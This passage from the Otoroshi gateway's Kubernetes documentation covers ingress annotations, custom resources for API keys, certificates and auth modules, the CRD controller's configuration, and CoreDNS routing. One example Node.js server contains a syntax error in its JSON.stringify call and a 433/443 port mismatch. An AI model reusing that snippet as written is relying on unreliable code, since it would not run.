  • ingress.otoroshi.io/redirection.to
  • +
  • ingress.otoroshi.io/clientValidatorRef
  • +
  • ingress.otoroshi.io/transformerRefs
  • +
  • ingress.otoroshi.io/transformerConfig
  • +
  • ingress.otoroshi.io/accessValidator.enabled
  • +
  • ingress.otoroshi.io/accessValidator.excludedPatterns
  • +
  • ingress.otoroshi.io/accessValidator.refs
  • +
  • ingress.otoroshi.io/accessValidator.config
  • +
  • ingress.otoroshi.io/preRouting.enabled
  • +
  • ingress.otoroshi.io/preRouting.excludedPatterns
  • +
  • ingress.otoroshi.io/preRouting.refs
  • +
  • ingress.otoroshi.io/preRouting.config
  • +
  • ingress.otoroshi.io/issueCert
  • +
  • ingress.otoroshi.io/issueCertCA
  • +
  • ingress.otoroshi.io/gzip.enabled
  • +
  • ingress.otoroshi.io/gzip.excludedPatterns
  • +
  • ingress.otoroshi.io/gzip.whiteList
  • +
  • ingress.otoroshi.io/gzip.blackList
  • +
  • ingress.otoroshi.io/gzip.bufferSize
  • +
  • ingress.otoroshi.io/gzip.chunkedThreshold
  • +
  • ingress.otoroshi.io/gzip.compressionLevel
  • +
  • ingress.otoroshi.io/cors.enabled
  • +
  • ingress.otoroshi.io/cors.allowOrigin
  • +
  • ingress.otoroshi.io/cors.exposeHeaders
  • +
  • ingress.otoroshi.io/cors.allowHeaders
  • +
  • ingress.otoroshi.io/cors.allowMethods
  • +
  • ingress.otoroshi.io/cors.excludedPatterns
  • +
  • ingress.otoroshi.io/cors.maxAge
  • +
  • ingress.otoroshi.io/cors.allowCredentials
  • +
  • ingress.otoroshi.io/clientConfig.useCircuitBreaker
  • +
  • ingress.otoroshi.io/clientConfig.retries
  • +
  • ingress.otoroshi.io/clientConfig.maxErrors
  • +
  • ingress.otoroshi.io/clientConfig.retryInitialDelay
  • +
  • ingress.otoroshi.io/clientConfig.backoffFactor
  • +
  • ingress.otoroshi.io/clientConfig.connectionTimeout
  • +
  • ingress.otoroshi.io/clientConfig.idleTimeout
  • +
  • ingress.otoroshi.io/clientConfig.callAndStreamTimeout
  • +
  • ingress.otoroshi.io/clientConfig.callTimeout
  • +
  • ingress.otoroshi.io/clientConfig.globalTimeout
  • +
  • ingress.otoroshi.io/clientConfig.sampleInterval
  • +
  • ingress.otoroshi.io/enforceSecureCommunication
  • +
  • ingress.otoroshi.io/sendInfoToken
  • +
  • ingress.otoroshi.io/sendStateChallenge
  • +
  • ingress.otoroshi.io/secComHeaders.claimRequestName
  • +
  • ingress.otoroshi.io/secComHeaders.stateRequestName
  • +
  • ingress.otoroshi.io/secComHeaders.stateResponseName
  • +
  • ingress.otoroshi.io/secComTtl
  • +
  • ingress.otoroshi.io/secComVersion
  • +
  • ingress.otoroshi.io/secComInfoTokenVersion
  • +
  • ingress.otoroshi.io/secComExcludedPatterns
  • +
  • ingress.otoroshi.io/secComSettings.size
  • +
  • ingress.otoroshi.io/secComSettings.secret
  • +
  • ingress.otoroshi.io/secComSettings.base64
  • +
  • ingress.otoroshi.io/secComUseSameAlgo
  • +
  • ingress.otoroshi.io/secComAlgoChallengeOtoToBack.size
  • +
  • ingress.otoroshi.io/secComAlgoChallengeOtoToBack.secret
  • +
  • ingress.otoroshi.io/secComAlgoChallengeOtoToBack.base64
  • +
  • ingress.otoroshi.io/secComAlgoChallengeBackToOto.size
  • +
  • ingress.otoroshi.io/secComAlgoChallengeBackToOto.secret
  • +
  • ingress.otoroshi.io/secComAlgoChallengeBackToOto.base64
  • +
  • ingress.otoroshi.io/secComAlgoInfoToken.size
  • +
  • ingress.otoroshi.io/secComAlgoInfoToken.secret
  • +
  • ingress.otoroshi.io/secComAlgoInfoToken.base64
  • +
  • ingress.otoroshi.io/securityExcludedPatterns
  • +
+

for more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html

+

with the previous example, the ingress does not define any apikey, so the route is public. If you want to enable apikeys on it, you can deploy the following descriptor

+
apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: http-app-ingress
+  annotations:
+    kubernetes.io/ingress.class: otoroshi
+    ingress.otoroshi.io/group: http-app-group
+    ingress.otoroshi.io/forceHttps: 'true'
+    ingress.otoroshi.io/sendOtoroshiHeadersBack: 'true'
+    ingress.otoroshi.io/overrideHost: 'true'
+    ingress.otoroshi.io/allowHttp10: 'false'
+    ingress.otoroshi.io/publicPatterns: ''
+spec:
+  tls:
+  - hosts:
+    - httpapp.foo.bar
+    secretName: http-app-cert
+  rules:
+  - host: httpapp.foo.bar
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: http-app-service
+          servicePort: 8080
+
+

now you can use an existing apikey in the http-app-group to access your app

+
curl -X GET https://httpapp.foo.bar/get -u existing-apikey-1:secret-1
+
+

Use Otoroshi CRDs for a better/full integration

+

Otoroshi provides some Custom Resource Definitions for kubernetes in order to manage Otoroshi related entities in kubernetes

+
    +
  • routes
  • +
  • backends
  • +
  • route-compositions
  • +
  • service-descriptors
  • +
  • tcp-services
  • +
  • error-templates
  • +
  • apikeys
  • +
  • certificates
  • +
  • jwt-verifiers
  • +
  • auth-modules
  • +
  • admin-sessions
  • +
  • admins
  • +
  • auth-module-users
  • +
  • service-groups
  • +
  • organizations
  • +
  • tenants
  • +
  • teams
  • +
  • data-exporters
  • +
  • scripts
  • +
  • wasm-plugins
  • +
  • global-configs
  • +
  • green-scores
  • +
  • coraza-configs
  • +
+

using CRDs, you will be able to deploy and manager those entities from kubectl or the kubernetes api like

+
sudo kubectl get apikeys --all-namespaces
+sudo kubectl get service-descriptors --all-namespaces
+curl -X GET \
+  -H 'Authorization: Bearer eyJhbGciOiJSUzI....F463SrpOehQRaQ' \
+  -H 'Accept: application/json' -k \
+  https://127.0.0.1:6443/apis/proxy.otoroshi.io/v1/apikeys | jq
+
+

You can see this as better Ingress resources. Like any Ingress resource can define which controller it uses (using the kubernetes.io/ingress.class annotation), you can chose another kind of resource instead of Ingress. With Otoroshi CRDs you can even define resources like Certificate, Apikey, AuthModules, JwtVerifier, etc. It will help you to use all the power of Otoroshi while using the deployment model of kubernetes.

Warning
+

when using Otoroshi CRDs, Kubernetes becomes the single source of truth for the synced entities. It means that any value in the descriptors deployed will overrides the one in Otoroshi datastore each time it’s synced. So be careful if you use the Otoroshi UI or the API, some changes in configuration may be overriden by CRDs sync job.

+

Resources examples

+
+
group.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: ServiceGroup
+metadata:
+  name: http-app-group
+  annotations:
+    io.otoroshi/id: http-app-group
+spec:
+  description: a group to hold services about the http-app
+
apikey.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: ApiKey
+metadata:
+  name: http-app-2-apikey-1
+# this apikey can be used to access another app in a different group
+spec:
+  # a secret name secret-1 will be created by otoroshi and can be used by containers
+  exportSecret: true 
+  secretName: secret-2
+  authorizedEntities: 
+  - http-app-2-group
+  metadata:
+    foo: bar
+  rotation: # not mandatory
+    enabled: true
+    rotationEvery: 720 # hours
+    gracePeriod: 168  # hours
+
service-descriptor.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: ServiceDescriptor
+metadata:
+  name: http-app-service-descriptor
+spec:
+  description: the service descriptor for the http app
+  groups: 
+  - http-app-group
+  forceHttps: true
+  hosts:
+  - httpapp.foo.bar
+  matchingRoot: /
+  targets:
+  - url: 'https://http-app-service:8443'
+    # you can also use serviceName and servicePort to use pods ip addresses. Can be used without or in combination with url
+    # serviceName: http-app-service
+    # servicePort: https
+    mtlsConfig: # not mandatory
+      # use mtls to contact the backend
+      mtls: true
+      certs: 
+        # reference the DN for the client cert
+        - UID=httpapp-client, O=OtoroshiApps
+      trustedCerts: 
+        # reference the DN for the CA cert
+        - CN=Otoroshi Root
+  sendOtoroshiHeadersBack: true
+  xForwardedHeaders: true
+  overrideHost: true
+  allowHttp10: false
+  publicPatterns:
+    - /health
+  additionalHeaders:
+    x-foo: bar
+
certificate.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: http-app-certificate-client
+spec:
+  description: certificate for the http-app
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=httpapp-client, O=OtoroshiApps
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
jwt.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: JwtVerifier
+metadata:
+  name: http-app-verifier
+  annotations:
+    io.otoroshi/id: http-app-verifier
+spec:
+  desc: verify that the jwt token in header jwt is ok
+  strict: true
+  source:
+    type: InHeader
+    name: jwt
+    remove: ''
+  algoSettings:
+    type: HSAlgoSettings
+    size: 512
+    secret: secret
+  strategy:
+    type: PassThrough
+    verificationSettings:
+      fields: 
+        foo: bar
+      arrayFields: {}
+
auth.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: AuthModule
+metadata:
+  name: http-app-auth
+  annotations:
+    io.otoroshi/id: http-app-auth
+spec:
+  type: oauth2
+  desc: Keycloak mTLS
+  sessionMaxAge: 86400
+  clientId: otoroshi
+  clientSecret: ''
+  authorizeUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/auth'
+  tokenUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/token'
+  userInfoUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/userinfo'
+  introspectionUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/token/introspect'
+  loginUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/auth'
+  logoutUrl: 'https://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/logout'
+  scope: openid address email microprofile-jwt offline_access phone profile roles web-origins
+  claims: ''
+  useCookie: false
+  useJson: false
+  readProfileFromToken: false
+  accessTokenField: access_token
+  jwtVerifier:
+    type: JWKSAlgoSettings
+    url: 'http://keycloak.foo.bar/auth/realms/master/protocol/openid-connect/certs'
+    timeout: 2000
+    headers: {}
+    ttl: 3600000
+    kty: RSA
+    proxy: 
+    mtlsConfig:
+      certs: []
+      trustedCerts: []
+      mtls: false
+      loose: false
+      trustAll: false
+  nameField: email
+  emailField: email
+  apiKeyMetaField: apkMeta
+  apiKeyTagsField: apkTags
+  otoroshiDataField: app_metadata|otoroshi_data
+  callbackUrl: 'https://privateapps.oto.tools/privateapps/generic/callback'
+  oidConfig: 'http://keycloak.foo.bar/auth/realms/master/.well-known/openid-configuration'
+  mtlsConfig:
+    certs:
+    - UID=httpapp-client, O=OtoroshiApps
+    trustedCerts:
+    - UID=httpapp-client, O=OtoroshiApps
+    mtls: true
+    loose: false
+    trustAll: false
+  proxy: 
+  extraMetadata: {}
+  refreshTokens: false
+
organization.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: Tenant
+metadata:
+  name: default-organization
+spec:
+  id: default
+  name: Default organization
+  description: Default organization created for any otoroshi instance
+  metadata: {}
+
team.yaml +
+
+
apiVersion: proxy.otoroshi.io/v1
+kind: Team
+metadata:
+  name: default-team
+spec:
+  id: default
+  tenant: default
+  name: Default team
+  description: Default team created for any otoroshi instance
+  metadata: {}
+
+

Configuration

+

To configure it, just go to the danger zone, and in Global scripts add the job named Kubernetes Otoroshi CRDs Controller. Then add the following configuration for the job (with your own tweak of course)

+
{
+  "KubernetesConfig": {
+    "enabled": true,
+    "crds": true,
+    "endpoint": "https://127.0.0.1:6443",
+    "token": "eyJhbGciOiJSUzI....F463SrpOehQRaQ",
+    "namespaces": [
+      "*"
+    ]
+  }
+}
+
+

the configuration can have the following values

+
{
+  "KubernetesConfig": {
+    "endpoint": "https://127.0.0.1:6443", // the endpoint to talk to the kubernetes api, optional
+    "token": "xxxx", // the bearer token to talk to the kubernetes api, optional
+    "userPassword": "user:password", // the user password tuple to talk to the kubernetes api, optional
+    "caCert": "/etc/ca.cert", // the ca cert file path to talk to the kubernetes api, optional
+    "trust": false, // trust any cert to talk to the kubernetes api, optional
+    "namespaces": ["*"], // the watched namespaces
+    "labels": ["label"], // the watched namespaces
+    "ingressClasses": ["otoroshi"], // the watched kubernetes.io/ingress.class annotations, can be *
+    "defaultGroup": "default", // the group to put services in otoroshi
+    "ingresses": false, // sync ingresses
+    "crds": true, // sync crds
+    "kubeLeader": false, // delegate leader election to kubernetes, to know where the sync job should run
+    "restartDependantDeployments": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments
+    "templates": { // template for entities that will be merged with kubernetes entities. can be "default" to use otoroshi default templates
+      "service-group": {},
+      "service-descriptor": {},
+      "apikeys": {},
+      "global-config": {},
+      "jwt-verifier": {},
+      "tcp-service": {},
+      "certificate": {},
+      "auth-module": {},
+      "data-exporter": {},
+      "script": {},
+      "organization": {},
+      "team": {},
+      "data-exporter": {}
+    }
+  }
+}
+
+

If endpoint is not defined, Otoroshi will try to get it from $KUBERNETES_SERVICE_HOST and $KUBERNETES_SERVICE_PORT. If token is not defined, Otoroshi will try to get it from the file at /var/run/secrets/kubernetes.io/serviceaccount/token. If caCert is not defined, Otoroshi will try to get it from the file at /var/run/secrets/kubernetes.io/serviceaccount/ca.crt. If $KUBECONFIG is defined, endpoint, token and caCert will be read from the current context of the file referenced by it.

+

you can find a more complete example of the configuration object here

+

Note about apikeys and certificates resources

+

Apikeys and Certificates are a little bit different than the other resources. They have ability to be defined without their secret part, but with an export setting so otoroshi will generate the secret parts and export the apikey or the certificate to kubernetes secret. Then any app will be able to mount them as volumes (see the full example below)

+

In those resources you can define

+
exportSecret: true 
+secretName: the-secret-name
+
+

and omit clientSecret for apikey or publicKey, privateKey for certificates. For certificate you will have to provide a csr for the certificate in order to generate it

+
csr:
+  issuer: CN=Otoroshi Root
+  hosts: 
+  - httpapp.foo.bar
+  - httpapps.foo.bar
+  key:
+    algo: rsa
+    size: 2048
+  subject: UID=httpapp-front, O=OtoroshiApps
+  client: false
+  ca: false
+  duration: 31536000000
+  signatureAlg: SHA256WithRSAEncryption
+  digestAlg: SHA-256
+
+

when apikeys are exported as kubernetes secrets, they will have the type otoroshi.io/apikey-secret with values clientId and clientSecret

+
apiVersion: v1
+kind: Secret
+metadata:
+  name: apikey-1
+type: otoroshi.io/apikey-secret
+data:
+  clientId: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==
+  clientSecret: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==
+
+

when certificates are exported as kubernetes secrets, they will have the type kubernetes.io/tls with the standard values tls.crt (the full cert chain) and tls.key (the private key). For more convenience, they will also have a cert.crt value containing the actual certificate without the ca chain and ca-chain.crt containing the ca chain without the certificate.

+
apiVersion: v1
+kind: Secret
+metadata:
+  name: certificate-1
+type: kubernetes.io/tls
+data:
+  tls.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==
+  tls.key: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==
+  cert.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==
+  ca-chain.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA== 
+
+

Full CRD example

+

then you can deploy the previous example with better configuration level, and using mtls, apikeys, etc

+

Let say the app looks like :

+
const fs = require('fs'); 
+const https = require('https'); 
+
+// here we read the apikey to access http-app-2 from files mounted from secrets
+const clientId = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientId').toString('utf8')
+const clientSecret = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientSecret').toString('utf8')
+
+const backendKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/tls.key').toString('utf8')
+const backendCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/cert.crt').toString('utf8')
+const backendCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/ca-chain.crt').toString('utf8')
+
+const clientKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/tls.key').toString('utf8')
+const clientCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/cert.crt').toString('utf8')
+const clientCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/ca-chain.crt').toString('utf8')
+
+function callApi2() {
+  return new Promise((success, failure) => {
+    const options = { 
+      // using the implicit internal name (*.global.otoroshi.mesh) of the other service descriptor passing through otoroshi
+      hostname: 'http-app-service-descriptor-2.global.otoroshi.mesh',  
+      port: 433, 
+      path: '/', 
+      method: 'GET',
+      headers: {
+        'Accept': 'application/json',
+        'Otoroshi-Client-Id': clientId,
+        'Otoroshi-Client-Secret': clientSecret,
+      },
+      cert: clientCert,
+      key: clientKey,
+      ca: clientCa
+    }; 
+    let data = '';
+    const req = https.request(options, (res) => { 
+      res.on('data', (d) => { 
+        data = data + d.toString('utf8');
+      }); 
+      res.on('end', () => { 
+        success({ body: JSON.parse(data), res });
+      }); 
+      res.on('error', (e) => { 
+        failure(e);
+      }); 
+    }); 
+    req.end();
+  })
+}
+
+const options = { 
+  key: backendKey, 
+  cert: backendCert, 
+  ca: backendCa, 
+  // we want mtls behavior
+  requestCert: true, 
+  rejectUnauthorized: true
+}; 
+https.createServer(options, (req, res) => { 
+  res.writeHead(200, {'Content-Type': 'application/json'});
+  callApi2().then(resp => {
+    res.write(JSON.stringify{ ("message": `Hello to ${req.socket.getPeerCertificate().subject.CN}`, api2: resp.body })); 
+  });
+}).listen(433);
+
+

then, the descriptors will be :

+
---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: http-app-deployment
+spec:
+  selector:
+    matchLabels:
+      run: http-app-deployment
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        run: http-app-deployment
+    spec:
+      containers:
+      - image: foo/http-app
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        ports:
+          - containerPort: 443
+            name: "https"
+        volumeMounts:
+        - name: apikey-volume
+          # here you will be able to read apikey from files 
+          # - /var/run/secrets/kubernetes.io/apikeys/clientId
+          # - /var/run/secrets/kubernetes.io/apikeys/clientSecret
+          mountPath: "/var/run/secrets/kubernetes.io/apikeys"
+          readOnly: true
+        volumeMounts:
+        - name: backend-cert-volume
+          # here you will be able to read app cert from files 
+          # - /var/run/secrets/kubernetes.io/certs/backend/tls.crt
+          # - /var/run/secrets/kubernetes.io/certs/backend/tls.key
+          mountPath: "/var/run/secrets/kubernetes.io/certs/backend"
+          readOnly: true
+        - name: client-cert-volume
+          # here you will be able to read app cert from files 
+          # - /var/run/secrets/kubernetes.io/certs/client/tls.crt
+          # - /var/run/secrets/kubernetes.io/certs/client/tls.key
+          mountPath: "/var/run/secrets/kubernetes.io/certs/client"
+          readOnly: true
+      volumes:
+      - name: apikey-volume
+        secret:
+          # here we reference the secret name from apikey http-app-2-apikey-1
+          secretName: secret-2
+      - name: backend-cert-volume
+        secret:
+          # here we reference the secret name from cert http-app-certificate-backend
+          secretName: http-app-certificate-backend-secret
+      - name: client-cert-volume
+        secret:
+          # here we reference the secret name from cert http-app-certificate-client
+          secretName: http-app-certificate-client-secret
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: http-app-service
+spec:
+  ports:
+    - port: 8443
+      targetPort: https
+      name: https
+  selector:
+    run: http-app-deployment
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ServiceGroup
+metadata:
+  name: http-app-group
+  annotations:
+    otoroshi.io/id: http-app-group
+spec:
+  description: a group to hold services about the http-app
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ApiKey
+metadata:
+  name: http-app-apikey-1
+# this apikey can be used to access the app
+spec:
+  # a secret name secret-1 will be created by otoroshi and can be used by containers
+  exportSecret: true 
+  secretName: secret-1
+  authorizedEntities: 
+  - group_http-app-group
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ApiKey
+metadata:
+  name: http-app-2-apikey-1
+# this apikey can be used to access another app in a different group
+spec:
+  # a secret name secret-1 will be created by otoroshi and can be used by containers
+  exportSecret: true 
+  secretName: secret-2
+  authorizedEntities: 
+  - group_http-app-2-group
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: http-app-certificate-frontend
+spec:
+  description: certificate for the http-app on otorshi frontend
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - httpapp.foo.bar
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=httpapp-front, O=OtoroshiApps
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: http-app-certificate-backend
+spec:
+  description: certificate for the http-app deployed on pods
+  autoRenew: true
+  # a secret name http-app-certificate-backend-secret will be created by otoroshi and can be used by containers
+  exportSecret: true 
+  secretName: http-app-certificate-backend-secret
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - http-app-service 
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=httpapp-back, O=OtoroshiApps
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: http-app-certificate-client
+spec:
+  description: certificate for the http-app
+  autoRenew: true
+  secretName: http-app-certificate-client-secret
+  csr:
+    issuer: CN=Otoroshi Root
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=httpapp-client, O=OtoroshiApps
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ServiceDescriptor
+metadata:
+  name: http-app-service-descriptor
+spec:
+  description: the service descriptor for the http app
+  groups: 
+  - http-app-group
+  forceHttps: true
+  hosts:
+  - httpapp.foo.bar # hostname exposed oustide of the kubernetes cluster
+  # - http-app-service-descriptor.global.otoroshi.mesh # implicit internal name inside the kubernetes cluster 
+  matchingRoot: /
+  targets:
+  - url: https://http-app-service:8443
+    # alternatively, you can use serviceName and servicePort to use pods ip addresses
+    # serviceName: http-app-service
+    # servicePort: https
+    mtlsConfig:
+      # use mtls to contact the backend
+      mtls: true
+      certs: 
+        # reference the DN for the client cert
+        - UID=httpapp-client, O=OtoroshiApps
+      trustedCerts: 
+        # reference the DN for the CA cert 
+        - CN=Otoroshi Root
+  sendOtoroshiHeadersBack: true
+  xForwardedHeaders: true
+  overrideHost: true
+  allowHttp10: false
+  publicPatterns:
+    - /health
+  additionalHeaders:
+    x-foo: bar
+# here you can specify everything supported by otoroshi like jwt-verifiers, auth config, etc ... for more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html
+
+

now with this descriptor deployed, you can access your app with a command like

+
CLIENT_ID=`kubectl get secret secret-1 -o jsonpath="{.data.clientId}" | base64 --decode`
+CLIENT_SECRET=`kubectl get secret secret-1 -o jsonpath="{.data.clientSecret}" | base64 --decode`
+curl -X GET https://httpapp.foo.bar/get -u "$CLIENT_ID:$CLIENT_SECRET"
+
+

Expose Otoroshi to outside world

+

If you deploy Otoroshi on a kubernetes cluster, the Otoroshi service is deployed as a loadbalancer (service type: LoadBalancer). You’ll need to declare in your DNS settings any name that can be routed by otoroshi going to the loadbalancer endpoint (CNAME or ip addresses) of your kubernetes distribution. If you use a managed kubernetes cluster from a cloud provider, it will work seamlessly as they will provide external loadbalancers out of the box. However, if you use a bare metal kubernetes cluster, id doesn’t come with support for external loadbalancers (service of type LoadBalancer). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like MetalLB that provide software LoadBalancer services to bare metal clusters or you can use and customize examples in the installation section.

Warning
+

We don’t recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.

+

Access a service from inside the k8s cluster

+

Using host header overriding

+

You can access any service referenced in otoroshi, through otoroshi from inside the kubernetes cluster by using the otoroshi service name (if you use a template based on https://github.com/MAIF/otoroshi/tree/master/kubernetes/base deployed in the otoroshi namespace) and the host header with the service domain like :

+
CLIENT_ID="xxx"
+CLIENT_SECRET="xxx"
+curl -X GET -H 'Host: httpapp.foo.bar' https://otoroshi-service.otoroshi.svc.cluster.local:8443/get -u "$CLIENT_ID:$CLIENT_SECRET"
+
+

Using dedicated services

+

it’s also possible to define services that targets otoroshi deployment (or otoroshi workers deployment) and use then as valid hosts in otoroshi services

+
apiVersion: v1
+kind: Service
+metadata:
+  name: my-awesome-service
+spec:
+  selector:
+    # run: otoroshi-deployment
+    # or in cluster mode
+    run: otoroshi-worker-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+
+

and access it like

+
CLIENT_ID="xxx"
+CLIENT_SECRET="xxx"
+curl -X GET https://my-awesome-service.my-namspace.svc.cluster.local:8443/get -u "$CLIENT_ID:$CLIENT_SECRET"
+
+

Using coredns integration

+

You can also enable the coredns integration to simplify the flow. You can use the the following keys in the plugin config :

+
{
+  "KubernetesConfig": {
+    ...
+    "coreDnsIntegration": true,                // enable coredns integration for intra cluster calls
+    "kubeSystemNamespace": "kube-system",      // the namespace where coredns is deployed
+    "corednsConfigMap": "coredns",             // the name of the coredns configmap
+    "otoroshiServiceName": "otoroshi-service", // the name of the otoroshi service, could be otoroshi-workers-service
+    "otoroshiNamespace": "otoroshi",           // the namespace where otoroshi is deployed
+    "clusterDomain": "cluster.local",          // the domain for cluster services
+    ...
+  }
+}
+
+

otoroshi will patch coredns config at startup then you can call your services like

+
CLIENT_ID="xxx"
+CLIENT_SECRET="xxx"
+curl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u "$CLIENT_ID:$CLIENT_SECRET"
+
+

By default, all services created from CRDs service descriptors are exposed as ${service-name}.${service-namespace}.otoroshi.mesh or ${service-name}.${service-namespace}.svc.otoroshi.local

+

Using coredns with manual patching

+

you can also patch the coredns config manually

+
kubectl edit configmaps coredns -n kube-system # or your own custom config map
+
+

and change the Corefile data to add the following snippet in at the end of the file

+
otoroshi.mesh:53 {
+    errors
+    health
+    ready
+    kubernetes cluster.local in-addr.arpa ip6.arpa {
+        pods insecure
+        upstream
+        fallthrough in-addr.arpa ip6.arpa
+    }
+    rewrite name regex (.*)\.otoroshi\.mesh otoroshi-worker-service.otoroshi.svc.cluster.local
+    forward . /etc/resolv.conf
+    cache 30
+    loop
+    reload
+    loadbalance
+}
+
+

you can also define simpler rewrite if it suits you use case better

+
rewrite name my-service.otoroshi.mesh otoroshi-worker-service.otoroshi.svc.cluster.local
+
+

do not hesitate to change otoroshi-worker-service.otoroshi according to your own setup. If otoroshi is not in cluster mode, change it to otoroshi-service.otoroshi. If otoroshi is not deployed in the otoroshi namespace, change it to otoroshi-service.the-namespace, etc.

+

By default, all services created from CRDs service descriptors are exposed as ${service-name}.${service-namespace}.otoroshi.mesh

+

then you can call your service like

+
CLIENT_ID="xxx"
+CLIENT_SECRET="xxx"
+
+curl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u "$CLIENT_ID:$CLIENT_SECRET"
+
+

Using old kube-dns system

+

if your stuck with an old version of kubernetes, it uses kube-dns that is not supported by otoroshi, so you will have to provide your own coredns deployment and declare it as a stubDomain in the old kube-dns system.

+

Here is an example of coredns deployment with otoroshi domain config

+
+
coredns.yaml +
+
+
---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+data:
+  Corefile: |
+    otoroshi.mesh:5353 {
+        errors
+        health
+        ready
+        kubernetes cluster.local in-addr.arpa ip6.arpa {
+            pods insecure
+            fallthrough in-addr.arpa ip6.arpa
+        }
+        rewrite name regex (.*)\.otoroshi\.mesh otoroshi-service.otoroshi.svc.cluster.local
+        forward . /etc/resolv.conf
+        cache 30
+        loop
+        reload
+        loadbalance
+    }
+    .:5353 {
+        errors
+        health
+        kubernetes cluster.local in-addr.arpa ip6.arpa {
+          pods insecure
+          fallthrough in-addr.arpa ip6.arpa
+        }
+        forward . /etc/resolv.conf
+        cache 30
+        loop
+        reload
+        loadbalance
+    }
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+spec:
+  # clusterIP: 1.1.1.1
+  selector:
+    app: otoroshi
+    component: coredns
+  type: ClusterIP
+  ports:
+    - name: dns
+      port: 5353
+      protocol: UDP
+    - name: dns-tcp
+      port: 5353
+      protocol: TCP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+spec:
+  replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+  selector:
+    matchLabels:
+      app: otoroshi
+      component: coredns
+  template:
+    metadata:
+      labels:
+        app: otoroshi
+        component: coredns
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      affinity:
+        podAntiAffinity:
+          preferredDuringSchedulingIgnoredDuringExecution:
+            - weight: 100
+              podAffinityTerm:
+                labelSelector:
+                  matchExpressions:
+                    - key: app
+                      operator: In
+                      values:
+                        - otoroshi
